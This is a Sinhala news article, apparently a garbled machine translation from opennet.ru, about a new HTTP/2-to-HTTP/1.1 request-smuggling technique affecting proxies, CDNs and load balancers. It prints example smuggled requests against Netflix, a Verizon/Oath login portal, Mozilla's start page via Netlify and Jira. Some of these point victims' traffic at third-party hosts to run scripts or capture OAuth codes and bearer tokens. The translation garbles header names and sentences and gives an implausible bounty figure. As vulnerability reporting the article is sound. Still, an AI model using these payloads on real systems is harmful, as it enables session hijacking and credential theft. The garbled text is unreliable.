ඔබට ඉල්ලීම් වලට සම්බන්ධ වීමට ඉඩ සලසන ඉදිරිපස-අන්ත-පසුපෙළ පද්ධති මත නව ප්‍රහාරයක්

ඉදිරිපස HTTP/2 හරහා සම්බන්ධතා පිළිගන්නා සහ HTTP/1.1 හරහා පසු අන්තයට සම්ප්‍රේෂණය කරන වෙබ් පද්ධති HTTP ඉල්ලීම් ජාවාරම් ප්‍රහාරයේ නව ප්‍රභේදයකට නිරාවරණය වී ඇති අතර, විශේෂයෙන් නිර්මාණය කර ඇති සේවාදායක ඉල්ලීම් යැවීමෙන්, අන්තර්ගතයට සම්බන්ධ වීමට ඉඩ සලසයි. ඉදිරිපස සහ පසුපෙළ අතර එකම ප්‍රවාහයකින් සකසන ලද අනෙකුත් පරිශීලකයින්ගෙන් ඉල්ලීම්. නීත්‍යානුකූල අඩවියක් සහිත සැසියකට අනිෂ්ට ජාවාස්ක්‍රිප්ට් කේතය ඇතුළු කිරීමට, ප්‍රවේශ පාලන පද්ධති මඟ හැරීමට සහ සත්‍යාපන පරාමිතිවලට බාධා කිරීමට ප්‍රහාරය භාවිත කළ හැක.

ප්‍රශ්නය වෙබ් ප්‍රොක්සි, ලෝඩ් බැලන්සර්, වෙබ් ඇක්සලරේටර්, අන්තර්ගත බෙදා හැරීමේ පද්ධති සහ ඉදිරිපස-අන්ත-පසුපෙළ යෝජනා ක්‍රමයට අනුව ඉල්ලීම් යළි හරවා යවන අනෙකුත් වින්‍යාසයන්ට බලපායි. අධ්‍යයනයේ කතුවරයා Netflix, Verizon, Bitbucket, Netlify CDN සහ Atlassian මත පද්ධතිවලට පහර දීමේ හැකියාව පෙන්නුම් කළ අතර, අවදානම් ත්‍යාග වැඩසටහන් සඳහා ඩොලර් 56ක් ලබා ගත්තේය. ගැටලුව F5 Networks නිෂ්පාදනවලද තහවුරු කර ඇත. Apache http සේවාදායකයේ (CVE-2021-33193) ගැටළුව mod_proxy ට අර්ධ වශයෙන් බලපායි), 2.4.49 අනුවාදයෙන් විසඳුමක් අපේක්ෂා කෙරේ (මෙම ගැටළුව මැයි මස මුලදී සංවර්ධකයින්ට දන්වා ඇති අතර එය නිවැරදි කිරීමට මාස 3 ක් ලැබුණි). nginx හි, "අන්තර්ගත-දිග" සහ "මාරු-කේතන" ශීර්ෂයන් එකවර නියම කිරීමේ හැකියාව අවසන් නිකුතුවේදී (1.21.1) අවහිර විය. ප්‍රහාරක මෙවලම් දැනටමත් Burp මෙවලම් කට්ටලයට එකතු කර ඇති අතර Turbo Intruder දිගුවක් ලෙස පවතී.

නව ක්‍රමයේ ක්‍රියාත්මක කිරීමේ මූලධර්මය රථවාහන ගමනාගමනයට සම්බන්ධ කිරීම එම පර්යේෂකයා විසින්ම වසර දෙකකට පෙර හඳුනාගත් අවදානමට සමාන නමුත් HTTP/1.1 හරහා ඉල්ලීම් පිළිගන්නා ඉදිරිපසවලට සීමා වේ. ඉදිරිපස-පසුපස යෝජනා ක්‍රමයේදී, සේවාලාභී ඉල්ලීම් අතිරේක නෝඩයක් මගින් ලැබෙන බව මතක තබා ගන්න - ඉදිරිපස, එය ඉල්ලීම් සෘජුවම ක්‍රියාවට නංවන පසුබිම සමඟ දිගුකාලීන TCP සම්බන්ධතාවයක් ස්ථාපිත කරයි. මෙම පොදු සම්බන්ධතාවය හරහා, විවිධ පරිශීලකයින්ගෙන් ඉල්ලීම් සාමාන්‍යයෙන් සම්ප්‍රේෂණය වේ, ඒවා දාමය එකින් එක අනුගමනය කරයි, HTTP ප්‍රොටෝකෝලය මගින් වෙන් කරනු ලැබේ.

සම්භාව්‍ය “HTTP ඉල්ලීම් ජාවාරම්” ප්‍රහාරය පදනම් වූයේ HTTP ශීර්ෂ “අන්තර්ගත-දිග” (ඉල්ලීමෙහි ඇති දත්තවල සම්පූර්ණ ප්‍රමාණය තීරණය කරයි) සහ “මාරු-කේතනය: කුට්ටිය” (Chanked) යන HTTP ශීර්ෂ භාවිතය අර්ථ නිරූපණය කිරීම මතය. කොටස් වශයෙන් දත්ත මාරු කිරීමට ඉඩ සලසයි) වෙනස් ලෙස . උදාහරණයක් ලෙස, ඉදිරිපස "අන්තර්ගත-දිග" සඳහා පමණක් සහය දක්වන නමුත් "මාරු-කේතනය: කුට්ටිය" නොසලකා හරින්නේ නම්, ප්‍රහාරකයෙකුට "අන්තර්ගත-දිග" සහ "මාරු-කේතනය: කුට්ටිය" යන ශීර්ෂ දෙකම අඩංගු ඉල්ලීමක් යැවිය හැක, නමුත් ප්‍රමාණය "අන්තර්ගත-දිග" කුට්ටි දාමයේ ප්‍රමාණයට නොගැලපේ. මෙම අවස්ථාවෙහිදී, ඉදිරිපස කොටස "අන්තර්ගත-දිග" අනුව ඉල්ලීම ක්‍රියාවට නංවා හරවා යවනු ලබන අතර, පසු අන්තය "මාරු-කේතනය: කුට්ටිය" මත පදනම්ව අවහිර කිරීම සම්පූර්ණ වන තෙක් බලා සිටින අතර ප්‍රහාරකයාගේ ඉල්ලීමෙහි ඉතිරි වලිගය වනු ඇත. විදේශ ඉල්ලීම ආරම්භයේදී ඊළඟට සම්ප්රේෂණය වේ.

පෙළ ප්‍රොටෝකෝලය HTTP/1.1 මෙන් නොව, රේඛා මට්ටමින් විග්‍රහ කර ඇත, HTTP/2 ද්විමය ප්‍රොටෝකෝලයක් වන අතර කලින් තීරණය කළ ප්‍රමාණයේ දත්ත කොටස් හසුරුවයි. කෙසේ වෙතත්, HTTP/2 සාමාන්‍ය HTTP ශීර්ෂයන්ට අනුරූප වන ව්‍යාජ ශීර්ෂ භාවිතා කරයි. HTTP/1.1 හරහා පසු අන්තය සමඟ අන්තර්ක්‍රියා කරන විට, ඉදිරිපස මෙම ව්‍යාජ ශීර්ෂ සමාන HTTP/1.1 HTTP ශීර්ෂ බවට පරිවර්තනය කරයි. ගැටලුව වන්නේ මුල් ඉල්ලීමේ පරාමිතීන් නොදැන, ඉදිරිපස මඟින් සකසා ඇති HTTP ශීර්ෂ මත පදනම්ව ප්‍රවාහය විග්‍රහ කිරීම පිළිබඳ පසුබිම් තීරණ ගැනීමයි.

ව්‍යාජ ශීර්ෂ ස්වරූපයෙන් ඇතුළුව, "අන්තර්ගත-දිග" සහ "මාරු-කේතනය" යන අගයන් HTTP / 2 හි භාවිතා නොකළද, සියලු දත්තවල ප්‍රමාණය තීරණය කර ඇති බැවින් ඒවා සම්ප්‍රේෂණය කළ හැකිය. වෙනම ක්ෂේත්රයක්. කෙසේ වෙතත්, HTTP/2 ඉල්ලීමක් HTTP/1.1 වෙත පරිවර්තනය කිරීමේ ක්‍රියාවලියේදී, මෙම ශීර්ෂයන් ගෙන යන අතර පසු අන්තය ව්‍යාකූල කළ හැක. ප්‍රධාන ප්‍රහාර විකල්ප දෙකක් ඇත: H2.TE සහ H2.CL, වැරදි මාරු-කේතීකරණයකින් හෝ අන්තර්ගත දිග අගයකින් පසු අන්තය නොමඟ යවන අතර එය ඉදිරිපස හරහා ලැබෙන ඉල්ලීම් කොටසෙහි සැබෑ ප්‍රමාණයට අනුරූප නොවේ. HTTP / 2 ප්රොටෝකෝලය.

ඔබට ඉල්ලීම් වලට සම්බන්ධ වීමට ඉඩ සලසන ඉදිරිපස-අන්ත-පසුපෙළ පද්ධති මත නව ප්‍රහාරයක්

H2.CL ප්‍රහාරයක උදාහරණයක් ලෙස, Netflix වෙත HTTP/2 ඉල්ලීමක් යවන විට අන්තර්ගත දිග ව්‍යාජ ශීර්ෂය විකෘති වී ඇත. මෙම ඉල්ලීමේ ප්‍රතිඵලයක් ලෙස HTTP/1.1 හරහා පසු අන්තයට ප්‍රවේශ වන විට සමාන අන්තර්ගත-දිග HTTP ශීර්ෂයක් එකතු වේ, නමුත් අන්තර්ගත දිගෙහි ප්‍රමාණය සැබෑ ප්‍රමාණයට වඩා අඩු බැවින්, වලිගයේ ඇති සමහර දත්ත ආරම්භය ලෙස සකසනු ලැබේ. ඊළඟ ඉල්ලීමේ.

උදාහරණයක් ලෙස, HTTP/2 ඉල්ලීමක් :method POST :path /n :authority www.netflix.com අන්තර්ගත දිග 4 abcdGET /n HTTP/1.1 සත්කාරක: 02.rs?x.netflix.com Foo: bar

පසු අන්තයට ඉල්ලීමක් යවනු ඇත: POST /n HTTP/1.1 සත්කාරක: www.netflix.com අන්තර්ගත-දිග: 4 abcdGET /n HTTP/1.1 සත්කාරක: 02.rs?x.netflix.com Foo: තීරුව

අන්තර්ගත දිග 4 ලෙස සකසා ඇති බැවින්, පසු අන්තය ඉල්ලීම් ප්‍රකාශය ලෙස “abcd” පමණක් පිළිගනු ඇති අතර, “GET /n HTTP/1.1...” හි ඉතිරි කොටස වෙනත් පරිශීලකයෙකුට බැඳී ඇති ඊළඟ ඉල්ලීමේ ආරම්භය ලෙස සකසනු ඇත. ඒ අනුව, ප්‍රවාහය සමමුහුර්ත නොවන අතර, ඊළඟ ඉල්ලීමට ප්‍රතිචාර වශයෙන්, ව්‍යාජ ඉල්ලීම සැකසීමේ ප්‍රතිඵලය ආපසු ලබා දෙනු ඇත. Netflix සම්බන්ධයෙන් ගත් කල, ව්‍යාජ ඉල්ලීමක "Host:" ශීර්ෂයේ තුන්වන පාර්ශ්ව සත්කාරකයක් සඳහන් කිරීමෙන් සේවාලාභියාට "ස්ථානය: https://02.rs?x.netflix.com/n" ප්‍රතිචාරය සහ Netflix අඩවියේ සන්දර්භය තුළ ඔබගේ ජාවාස්ක්‍රිප්ට් කේතය ක්‍රියාත්මක කිරීම ඇතුළුව, අත්තනෝමතික අන්තර්ගතය සේවාලාභියා වෙත ලබා දීමට ඉඩ දී ඇත.

ප්‍රහාරයේ දෙවන ප්‍රභේදය (H2.TE) "මාරු-කේතීකරණය: කුට්ටිය" ශීර්ෂය ආදේශ කිරීම සමඟ සම්බන්ධ වේ. HTTP/2 හි හුවමාරු-කේතන ව්‍යාජ ශීර්ෂය භාවිතා කිරීම පිරිවිතරයෙන් තහනම් කර ඇති අතර එය සමඟ ඇති ඉල්ලීම් වැරදි ලෙස සැලකීමට නියම කර ඇත. එසේ තිබියදීත්, සමහර ඉදිරිපස ක්‍රියාත්මක කිරීම් මෙම අවශ්‍යතාවය නොසලකා හරින අතර HTTP/2 හි හුවමාරු-කේතන ව්‍යාජ ශීර්ෂය භාවිතා කිරීමට ඉඩ සලසයි, එය සමාන HTTP ශීර්ෂයකට පරිවර්තනය කරයි. “මාරු-කේතනය කිරීමේ” ශීර්ෂය තිබේ නම්, පසු අන්තයට එය ප්‍රමුඛතාවයක් ලෙස ගෙන “{size}\r\n{block} ආකෘතියෙන් විවිධ ප්‍රමාණයේ බ්ලොක් භාවිතයෙන් “කුට්ටි” මාදිලියේ දත්ත කොටස් වශයෙන් විග්‍රහ කළ හැකිය. \r\n{size} \r\n{block}\r\n0" සමස්ත ප්‍රමාණයෙන් මූලික බෙදීම තිබියදීත්.

එවැනි පරතරයක් පවතින බව Verizon හි උදාහරණයෙන් පෙන්නුම් කරන ලදී. කෙසේ වෙතත්, ගැටළුව Huffington Post සහ Engadget වැනි අඩවි විසින් භාවිතා කරන සත්‍යාපන ද්වාරය සහ අන්තර්ගත කළමනාකරණ පද්ධතිය සම්බන්ධයෙනි. උදාහරණයක් ලෙස, HTTP/2::method POST:path /identitfy/XUI:authority id.b2b.oath.com හරහා සේවාදායක ඉල්ලීමක් මාරු කිරීම-කේතනය 0 GET /oops HTTP/1.1 සත්කාරක: psres.net අන්තර්ගතය-දිග: 10 x=

HTTP/1.1 පසුපෙළ සඳහා ඉල්ලීමට හේතු විය: POST /identity/XUI HTTP/1.1 සත්කාරක: id.b2b.oath.com අන්තර්ගත-දිග: 66 මාරු-කේතනය: කුට්ටිය 0 GET /oops HTTP/1.1 සත්කාරක: psres.net අන්තර්ගතය- දිග : 10x=

පසුපෙළ, අනෙක් අතට, "අන්තර්ගත-දිග" ශීර්ෂය නොසලකා හැර "මාරු-කේතනය: කුට්ටිය" මත පදනම්ව ප්‍රවාහයේ බෙදීම සිදු කළේය. ප්‍රායෝගිකව, OAuth සත්‍යාපනයට අදාළ ඉල්ලීම් බාධා කිරීම, යොමුකරු ශීර්ෂයේ දිස්වන පරාමිති, මෙන්ම සත්‍යාපන සැසියක් අනුකරණය කිරීම සහ පරිශීලකයා විසින් අක්තපත්‍ර යැවීම ආරම්භ කිරීම ඇතුළුව පරිශීලක ඉල්ලීම් ඔබේ වෙබ් අඩවියට හරවා යැවීමට ප්‍රහාරයට හැකි විය. පද්ධතිය ප්‍රහාරකයාගේ ධාරකයට. GET /b2blanding/show/oops HTTP/1.1 සත්කාරක: psres.net යොමු කරන්නා: https://id.b2b.oath.com/?...&code=secret GET / HTTP/1.1 සත්කාරක: psres.net අවසරය: දරන්නා eyJhcGwiOiJIUzIK…

මාරු-කේතන ව්‍යාජ-ශීර්ෂය නියම කිරීමට ඉඩ නොදෙන HTTP/2 ක්‍රියාත්මක කිරීම්වලට පහර දීම සඳහා, නව රේඛා අක්ෂරයකින් (පරිවර්තනය කළ විට) වෙන් කරන ලද වෙනත් ව්‍යාජ ශීර්ෂයන් වෙත ඇමිණීමෙන් "මාරු-කේතන" ශීර්ෂය ආදේශ කිරීම ඇතුළත් තවත් ක්‍රමයක් යෝජනා කර ඇත. මෙම අවස්ථාවෙහිදී HTTP/1.1 වෙත, වෙනම HTTP ශීර්ෂ දෙකක් සාදනු ලැබේ).

උදාහරණයක් ලෙස, Atlassian Jira සහ Netlify CDN (ෆයර්ෆොක්ස් හි Mozilla ආරම්භක පිටුවට සේවය කිරීමට භාවිතා කරයි) මෙම ගැටලුවට බලපෑවේය. විශේෂයෙන්, HTTP/2 ඉල්ලීම: ක්‍රමය POST:path / :authority start.mozilla.org foo b\r\n transfer-කේතීකරණය: chunked 0\r\n \r\n GET / HTTP/1.1\r\n සත්කාරක : evil-netlify-domain\r\n අන්තර්ගත දිග: 5\r\n \r\nx=

HTTP/1.1 POST / HTTP/1.1 ඉල්ලීමක් පසුපෙළ වෙත යැවීමට හේතු විය\r\n සත්කාරක: start.mozilla.org\r\n Foo: b\r\n ස්ථාන මාරු-කේතනය: chunked\r\n අන්තර්ගතය- දිග: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n සත්කාරක: evil-netlify-domain\r\n අන්තර්ගත දිග: 5\r\n \ r\nx=

"මාරු-කේතීකරණ" ශීර්ෂය ආදේශ කිරීම සඳහා තවත් විකල්පයක් වූයේ එය වෙනත් ව්‍යාජ ශීර්ෂයක නමකට හෝ ඉල්ලීම් ක්‍රමයක් සහිත තන්තුවකට ඇමිණීමයි. උදාහරණයක් ලෙස, Atlassian Jira වෙත ප්‍රවේශ වන විට, "foo: bar\r\ntransfer-encoding" යන ව්‍යාජ ශීර්ෂයේ නම "chunked" අගය සමඟින් HTTP ශීර්ෂයන් "foo: bar" සහ "transfer-encoding" එකතු විය. : chunked", සහ "GET / HTTP/1.1\r\nTransfer-Encoding: chunked" අගයෙහි ව්‍යාජ ශීර්ෂය ": method" හි සඳහන් කිරීම "GET / HTTP/1.1\r\nමාරු-කේතනය: chunked" ලෙස පරිවර්තනය කරන ලදී. .

ගැටලුව හඳුනාගත් පර්යේෂකයා ඉදිරිපසවලට පහර දීම සඳහා ඉල්ලීම් උමං තාක්ෂණයක් ද යෝජනා කර ඇති අතර, එක් එක් IP ලිපිනය සඳහා පසුබිමට වෙනම සම්බන්ධතාවයක් ස්ථාපිත කර ඇති අතර විවිධ පරිශීලකයින්ගේ ගමනාගමනය මිශ්‍ර නොවේ. යෝජිත තාක්‍ෂණය ඔබට වෙනත් පරිශීලකයින්ගේ ඉල්ලීම්වලට මැදිහත් වීමට ඉඩ නොදේ, නමුත් එය හවුල් හැඹිලිය විෂ කිරීමට ඉඩ සලසයි, එය වෙනත් ඉල්ලීම් සැකසීමට බලපායි, සහ සේවා තොරතුරු මාරු කිරීමට භාවිතා කරන අභ්‍යන්තර HTTP ශීර්ෂයන් ආදේශ කිරීමට ඔබට ඉඩ සලසයි. ඉදිරිපස සිට පසුපෙළ දක්වා (උදාහරණයක් ලෙස, එවැනි ශීර්ෂවල ඉදිරිපස පැත්තේ සත්‍යාපනය කිරීමේදී වත්මන් පරිශීලකයා පිළිබඳ තොරතුරු පසු අන්තයට යැවිය හැක). ක්‍රමය ප්‍රායෝගිකව යෙදීමේ උදාහරණයක් ලෙස, හැඹිලි විෂවීම භාවිතා කරමින්, බිට්බකට් සේවාවේ පිටු පාලනය කිරීමට හැකි විය.

මූලාශ්රය: opennet.ru

අදහස් එක් කරන්න